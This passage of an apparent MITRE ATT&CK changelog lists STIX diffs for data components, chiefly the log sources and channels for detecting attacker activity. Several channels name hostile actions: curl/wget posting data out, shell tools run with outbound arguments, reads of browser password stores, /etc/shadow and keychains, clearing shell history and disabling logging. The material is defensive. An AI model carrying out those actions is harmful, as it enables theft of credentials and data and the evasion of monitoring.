restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase startup-config, format disk'}, {'name': 'networkdevice:syslog', 'channel': 'command_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: iptables, nft, firewall-cmd modifications'}, {'name': 'macos:unifiedlog', 'channel': 'pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf'}, {'name': 'esxi:hostd', 'channel': 'esxcli network firewall set commands'}, {'name': 'docker:events', 'channel': 'container exec rm|container stop --force'}, {'name': 'esxi:hostd', 'channel': 'event stream'}, {'name': 'networkdevice:cli', 'channel': 'CLI command logs'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log entries containing "esxcli system clock get"'}, {'name': 'networkdevice:syslog', 'channel': 'command-exec: CLI commands containing "show clock", "show clock detail", "show timezone" executed by suspicious user/source'}, {'name': 'networkdevice:cli', 'channel': 'cmd: cmd=show clock detail'}, {'name': 'auditd:EXECVE', 'channel': 'curl -X POST, wget --post-data'}, {'name': 'linux:syslog', 'channel': 'sudo chage|grep pam_pwquality|cat /etc/login.defs'}, {'name': 'macos:unifiedlog', 'channel': 'pwpolicy|PasswordPolicy'}, {'name': 'networkdevice:syslog', 'channel': "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'"}, {'name': 'networkdevice:syslog', 'channel': 'CLI command audit'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell script to enumerate or remove malicious Home Page folder config'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggering Outlook to auto-access folder tied to malicious Home Page'}, {'name': 'macos:unifiedlog', 'channel': 'Command line contains smbutil view //, mount_smbfs //'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Invocation of scp, rsync, curl, or sftp'}, {'name': 'esxi:hostd', 'channel': 'scp/ssh used to move file across hosts'}, {'name': 'auditd:EXECVE', 'channel': 'command line arguments containing lsblk, fdisk, parted'}, {'name': 'macos:unifiedlog', 'channel': 'log messages related to disk enumeration context or Terminal session'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying local mail filter configuration files'}, {'name': 'esxi:hostd', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': 'sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user'}, {'name': 'docker:api', 'channel': 'docker logs access or container inspect commands from non-administrative users'}, {'name': 'esxi:shell', 'channel': 'command IN ("esxcli vm process list", "vim-cmd vmsvc/getallvms")'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: process_name IN ("virsh", "VBoxManage", "qemu-img") AND command IN ("list", "info")'}, {'name': 'esxi:shell', 'channel': 'openssl|tar|dd'}, {'name': 'AWS:CloudTrail', 'channel': 'SSM RunCommand'}, {'name': 'azure:activity', 'channel': 'Intune PowerShell Scripts'}, {'name': 'm365:exchange', 'channel': 'Cmdlet: Get-GlobalAddressList, Get-Recipient'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"}, {'name': 'esxi:syslog', 'channel': 'boot logs'}, {'name': 'networkdevice:syslog', 'channel': 'system boot logs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog'}, {'name': 'macos:unifiedlog', 'channel': 'defaults write com.apple.system.logging or logd manipulation'}, {'name': 'esxi:hostd', 'channel': 'esxcli system syslog config set or reload'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: openssl pkcs12, certutil, keytool'}, {'name': 'macos:unifiedlog', 'channel': 'process calling security find-certificate, export, or import'}, {'name': 'networkdevice:cli', 'channel': "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args'}, {'name': 'm365:exchange', 'channel': 'Get-RoleGroup, Get-DistributionGroup'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of log show, fs_usage, or cat targeting system.log'}, {'name': 'AWS:CloudTrail', 'channel': 'GetLogEvents: High frequency log exports from CloudWatch or equivalent services'}, {'name': 'esxi:shell', 'channel': 'Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': 'CLI usage logs'}, {'name': 'macos:syslog', 'channel': '/var/log/system.log'}, {'name': 'macos:unifiedlog', 'channel': 'execution of launchctl load/unload/start commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Exchange Cmdlets'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of python, perl, or custom binaries invoking compression libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, USER_CMD'}, {'name': 'auditd:USER_CMD', 'channel': 'USER_CMD'}, {'name': 'esxi:shell', 'channel': 'Command execution trace'}, {'name': 'auditd:SYSCALL', 'channel': 'bash/zsh of base64, tar, gzip, or openssl immediately after file write'}, {'name': 'linux:osquery', 'channel': 'Command-line includes base64 -d or openssl enc -d'}, {'name': 'macos:unifiedlog', 'channel': 'base64 -d or osascript invoked on staged file'}, {'name': 'auditd:EXECVE', 'channel': 'exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions'}, {'name': 'auditd:EXECVE', 'channel': 'curl -d, wget --post-data'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Processes executing sendmail/postfix with forged headers'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil partitionDisk or eraseVolume with partition scheme modifications'}, {'name': 'networkdevice:cli', 'channel': 'format flash:, format disk, reformat commands'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters'}, {'name': 'esxi:shell', 'channel': 'shell command execution for chmod, chown, or file permission modification on VMFS or system files'}, {'name': 'networkdevice:Firewall', 'channel': 'Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config'}, {'name': 'auditd:EXECVE', 'channel': 'grep/cat/awk on files with password fields'}, {'name': 'macos:unifiedlog', 'channel': 'grep/cat on files matching credential patterns'}, {'name': 'kubernetes:audit', 'channel': 'process execution involving curl, grep, or awk on secrets'}, {'name': 'AWS:CloudTrail', 'channel': 'command-line execution invoking credential enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'promiscuous mode transitions (ioctl or ifconfig)'}, {'name': 'fs:fsusage', 'channel': 'access to BPF devices or interface IOCTLs'}, {'name': 'networkdevice:syslog', 'channel': "exec command='monitor capture'"}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Unexpected DLL or component loaded at Office startup'}, {'name': 'm365:office', 'channel': 'Startup execution includes non-default component'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk/zeroDisk or asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase nvram:, format disk'}, {'name': 'macos:unifiedlog', 'channel': 'spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper'}, {'name': 'esxi:shell', 'channel': "esxcli system syslog config set --loghost='' or stopping hostd service"}, {'name': 'networkdevice:syslog', 'channel': 'no logging buffered, no aaa new-model, disable firewall'}, {'name': 'auditd:EXECVE', 'channel': 'git push, curl -X POST'}, {'name': 'linux:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'command log'}, {'name': 'networkdevice:cli', 'channel': 'command logs'}, {'name': 'networkdevice:syslog', 'channel': 'interactive shell logging'}, {'name': 'esxi:hostd', 'channel': "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"}, {'name': 'auditd:SYSCALL', 'channel': 'chattr, rm, shred, dd run on recovery directories or partitions'}, {'name': 'networkdevice:syslog', 'channel': 'command sequence: erase → format → reload'}, {'name': 'macos:unifiedlog', 'channel': 'process: at, job runner'}, {'name': 'macos:osquery', 'channel': 'Interpreter exec with suspicious arguments as above'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of downgraded interpreters such as python2 or forced fallback commands'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of gsettings set org.gnome.login-screen disable-user-list true'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of dscl . create with IsHidden=1'}, {'name': 'linux:syslog', 'channel': 'sshd logs'}, {'name': 'esxi:shell', 'channel': 'Shell Access/Command Execution'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Logging'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'udev rule reload or trigger command executed'}, {'name': 'linux:cli', 'channel': 'Shell history logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath contains "zip" OR "base64"\''}, {'name': 'networkdevice:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'Command Execution'}, {'name': 'macos:osquery', 'channel': 'launchd + process_events'}, {'name': 'esxi:vmkernel', 'channel': 'DCUI shell start, BusyBox activity'}, {'name': 'esxi:hostd', 'channel': 'remote CLI + vim-cmd logging'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Audit'}, {'name': 'm365:defender', 'channel': 'Activity Log: Command Invocation'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CmdletName: Get-Recipient, Get-User'}, {'name': 'WinEventLog:PowerShell', 'channel': "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"}, {'name': 'linux:shell', 'channel': 'Manual invocation of software enumeration commands via interactive shell'}, {'name': 'auditd:SYSCALL', 'channel': 'Command line arguments including SPApplicationsDataType'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:GetCommandInvocation'}, {'name': 'esxi:shell', 'channel': 'esxcli software vib list'}, {'name': 'auditd:EXECVE', 'channel': 'execution of setfattr or getfattr commands'}, {'name': 'macos:unifiedlog', 'channel': 'xattr utility execution with -w or -p flags'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of tools like cat, grep, or awk on credential files'}, {'name': 'macos:unifiedlog', 'channel': "execution of 'security', 'cat', or 'grep' commands accessing credential storage"}, {'name': 'linux:syslog', 'channel': "CLI access to 'show running-config', 'show password', or 'cat config.txt'"}, {'name': 'auditd:SYSCALL', 'channel': 'execve of curl, rsync, wget with internal knowledge base or IPs'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104,4105, 4106'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of xev, xdotool, or input activity emulators'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load or boot-time plist registration'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of interpreters creating archive-like outputs without calling tar/gzip'}, {'name': 'networkdevice:syslog', 'channel': 'command audit'}, {'name': 'networkdevice:cli', 'channel': 'Interface commands'}, {'name': 'macos:unifiedlog', 'channel': 'dscl -create'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli system account add'}, {'name': 'ebpf:syscalls', 'channel': 'useradd or /etc/passwd modified inside container'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes'}, {'name': 'macos:unifiedlog', 'channel': 'kextload execution from Terminal or suspicious paths'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell without -NoProfile flag'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution of update-ca-certificates or openssl with suspicious arguments'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar removal commands'}, {'name': 'azure:signinLogs', 'channel': 'OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain'}, {'name': 'linux:syslog', 'channel': 'Sudo or root escalation followed by filesystem mount commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4101'}, {'name': 'networkdevice:cli', 'channel': "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4105'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4106'}, {'name': 'auditd:SYSCALL', 'channel': 'execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis'}, {'name': 'auditd:PROCTITLE', 'channel': 'process title records containing discovery command sequences and environmental assessment patterns'}, {'name': 'macos:unifiedlog', 'channel': 'Security framework operations including keychain access, cryptographic operations, and certificate validation'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, New-InboxRule'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl, wget, or custom scripts accessing financial endpoints'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of chattr to set +i or +a attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or setfile -a V'}, {'name': 'esxi:shell', 'channel': 'mv, rename, or chmod commands moving VM files into hidden directories'}, {'name': 'esxi:hostd', 'channel': 'execution + payload hints'}, {'name': 'linux:osquery', 'channel': 'process_events.command_line'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn, process:exec'}, {'name': 'esxi:vobd', 'channel': 'shell session start'}, {'name': 'networkdevice:cli', 'channel': 'shell command'}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Office application warning or alert on macro execution from template'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation'}, {'name': 'm365:office', 'channel': 'Execution of unsigned macro from template'}, {'name': 'linux:cli', 'channel': 'Terminal Command History'}, {'name': 'macos:unifiedlog', 'channel': 'csrutil disable'}, {'name': 'macos:unifiedlog', 'channel': "log show --predicate 'process == '"}, {'name': 'networkdevice:syslog', 'channel': 'Privilege-level command execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, or openssl with output redirection'}, {'name': 'saas:PRMetadata', 'channel': 'Commit message or branch name contains encoded strings or payload indicators'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context'}, {'name': 'esxi:shell', 'channel': '`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`'}, {'name': 'AWS:CloudTrail', 'channel': 'SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances'}, {'name': 'esxi:vmkernel', 'channel': 'Unexpected restarts of management agents or shell access'}, {'name': 'auditd:EXECVE', 'channel': 'curl or wget with POST/PUT options'}, {'name': 'networkdevice:syslog', 'channel': 'Detected CLI command to export key material'}, {'name': 'networkdevice:config', 'channel': 'PKI export or certificate manipulation commands'}, {'name': 'macos:unifiedlog', 'channel': 'command execution triggered by emond (e.g., shell, curl, python)'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli, vim-cmd invocation'}, {'name': 'esxi:shell', 'channel': 'CLI session activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve=/sbin/shutdown or /sbin/reboot'}, {'name': 'esxi:shell', 'channel': 'esxcli system shutdown or reboot invoked'}, {'name': 'networkdevice:syslog', 'channel': 'reload command issued'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'auditd:PROCTITLE', 'channel': 'command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)'}, {'name': 'esxi:shell', 'channel': 'shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration'}, {'name': 'vpxd.log', 'channel': 'VM inventory queries and configuration enumeration through vCenter API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying HISTFILE or HISTCONTROL via unset/export'}, {'name': 'macos:unifiedlog', 'channel': 'Set or unset HIST* variables in shell environment'}, {'name': 'esxi:shell', 'channel': 'unset HISTFILE or HISTFILESIZE modifications'}, {'name': 'networkdevice:cli', 'channel': "Commands like 'no logging' or equivalents that disable session history"}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to /usr/bin/locale or shell execution of $LANG'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale or systemsetup -gettimezone'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'"}, {'name': 'auditd:EXECVE', 'channel': 'curl -T, rclone copy'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start/modify'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load/unload or plist file modification'}, {'name': 'networkdevice:syslog', 'channel': 'syslog facility LOCAL7 or trap messages'}, {'name': 'linux:cli', 'channel': '/home/*/.bash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of lsmod, modinfo, or cat /proc/modules'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"}, {'name': 'macos:unifiedlog', 'channel': 'dscl . -create'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks'}, {'name': 'esxi:vpxd', 'channel': 'vCenter Management'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:30.145000+00:002025-10-21 15:14:34.849000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0108] Device Alarm

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0108', 'external_id': 'DC0108'}]
x_mitre_log_sources[{'name': 'Operational Databases', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:55.892000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0042] Drive Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0042', 'external_id': 'DC0042'}]
x_mitre_log_sources[{'name': 'Drive', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'Kernel-PnP 410/400 device install, disk added'}, {'name': 'auditd:SYSCALL', 'channel': 'mknod,open,openat'}, {'name': 'macos:unifiedlog', 'channel': 'mounted|appeared|DA: disk* attached'}, {'name': 'WinEventLog:Microsoft-Windows-Partition/Diagnostic', 'channel': 'EventCode=1006'}, {'name': 'auditd:SYSCALL', 'channel': 'Removable media mount notification'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.diskarbitration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1006,10001'}, {'name': 'auditd:SYSCALL', 'channel': 'device event logs'}, {'name': 'linux:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + File Read'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'udev events or drive enumeration involving TinyPilot paths or device classes'}, {'name': 'linux:syslog', 'channel': 'Device attach logs containing TinyPilot/PiKVM identifiers'}, {'name': 'macos:unifiedlog', 'channel': 'Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'Kernel Device Events - USB Block Devices'}, {'name': 'maos:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + Process Trace + File Read'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=20001/20003'}, {'name': 'journald:systemd', 'channel': 'udisks2 or udevd logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "USBMSC"\''}, {'name': 'WinEventLog:System', 'channel': '20001-20003'}, {'name': 'linux:syslog', 'channel': "New HID device enumeration with type 'keyboard' followed by immediate input injection"}, {'name': 'macos:unifiedlog', 'channel': 'New IOUSB keyboard/HID device enumerated with suspicious attributes'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:36.536000+00:002025-10-21 15:14:37.342000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0046] Drive Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0046', 'external_id': 'DC0046'}]
x_mitre_log_sources[{'name': 'Drive', 'channel': 'None'}, {'name': 'networkdevice:runtime', 'channel': 'Firmware image uploaded via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit disk write calls targeting raw devices'}, {'name': 'linux:syslog', 'channel': 'Block device write errors or unusual bootloader activity'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware image upload events via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write to EFI/boot partition sectors'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write activity targeting physical devices'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:35.797000+00:002025-10-22 19:03:17.198000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_domainsics-attack

[DC0055] File Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0055', 'external_id': 'DC0055'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'm365:unified', 'channel': 'FileAccessed, MailboxAccessed'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, or stat of browser config files'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/*/Safari or Chrome directories by non-browser processes'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'gcp:audit', 'channel': 'Write operations to storage'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS access logs'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache'}, {'name': 'macos:unifiedlog', 'channel': 'Kerberos framework calls to API:{uuid} cache outside normal process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'openat'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656, 4663'}, {'name': 'auditd:FILE', 'channel': '/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data'}, {'name': 'macos:unifiedlog', 'channel': '~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json'}, {'name': 'auditd:SYSCALL', 'channel': 'open'}, {'name': 'auditd:FILE', 'channel': '/proc/*/mem read attempt'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670, 4663'}, {'name': 'auditd:PATH', 'channel': 'Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)'}, {'name': 'macos:unifiedlog', 'channel': 'Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145, 4663'}, {'name': 'linux:syslog', 'channel': 'auth.log or custom tool logs'}, {'name': 'fs:fsusage', 'channel': 'file'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open, flock, fcntl, unlink'}, {'name': 'fs:fsusage', 'channel': 'File Access Monitor'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive files'}, {'name': 'macos:unifiedlog', 'channel': 'file read of sensitive directories'}, {'name': 'esxi:hostd', 'channel': 'datastore file access'}, {'name': 'auditd:SYSCALL', 'channel': 'Unusual processes accessing or modifying cookie databases'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal process access to Safari or Chrome cookie storage'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH records referencing /dev/video*'}, {'name': 'macos:endpointsecurity', 'channel': 'open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks'}, {'name': 'ebpf:syscalls', 'channel': 'container_file_activity'}, {'name': 'fs:fsusage', 'channel': 'Disk Activity Tracing'}, {'name': 'macos:keychain', 'channel': 'Access to Keychain DB or system.keychain'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/'}, {'name': 'macos:keychain', 'channel': '~/Library/Keychains, /Library/Keychains'}, {'name': 'm365:unified', 'channel': 'Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)'}, {'name': 'auditd:PATH', 'channel': 'open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)'}, {'name': 'macos:unifiedlog', 'channel': 'open: Access to /var/log/system.log or related security event logs'}, {'name': 'azure:activity', 'channel': 'CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows'}, {'name': 'esxi:hostd', 'channel': 'read: Access to sensitive log files by non-admin users'}, {'name': 'auditd:SYSCALL', 'channel': 'Processes reading credential or token cache files'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive file directories'}, {'name': 'esxi:hostd', 'channel': 'datastore/log file access'}, {'name': 'fs:fsusage', 'channel': 'filesystem activity'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Suspicious file execution on removable media path'}, {'name': 'auditd:PATH', 'channel': 'path'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive config or secret files'}, {'name': 'macos:unifiedlog', 'channel': 'open/read of *.plist or .env files'}, {'name': 'ebpf:syscalls', 'channel': 'open/read on secret mount paths'}, {'name': 'CloudTrail:GetObject', 'channel': 'sensitive credential files in buckets or local image storage'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories'}, {'name': 'macos:unifiedlog', 'channel': 'read of user document directories'}, {'name': 'esxi:syslog', 'channel': 'guest OS outbound transfer logs'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Call Monitoring'}, {'name': 'esxi:hostd', 'channel': 'vSphere File API Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read: Access to /proc/self/status with focus on TracerPID field'}, {'name': 'fs:fsusage', 'channel': 'read/write'}, {'name': 'esxis:vmkernel', 'channel': 'Datastore Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read access to ~/.bash_history'}, {'name': 'macos:endpointsecurity', 'channel': 'open or read syscall to ~/.bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains/login.keychain-db'}, {'name': 'auditd:SYSCALL', 'channel': 'open,read'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem and process events'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read system calls to ~/.bash_history or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains or history files by terminal processes'}, {'name': 'auditd:SYSCALL', 'channel': 'read of /run/secrets or docker volumes by non-entrypoint process'}, {'name': 'macos:unifiedlog', 'channel': 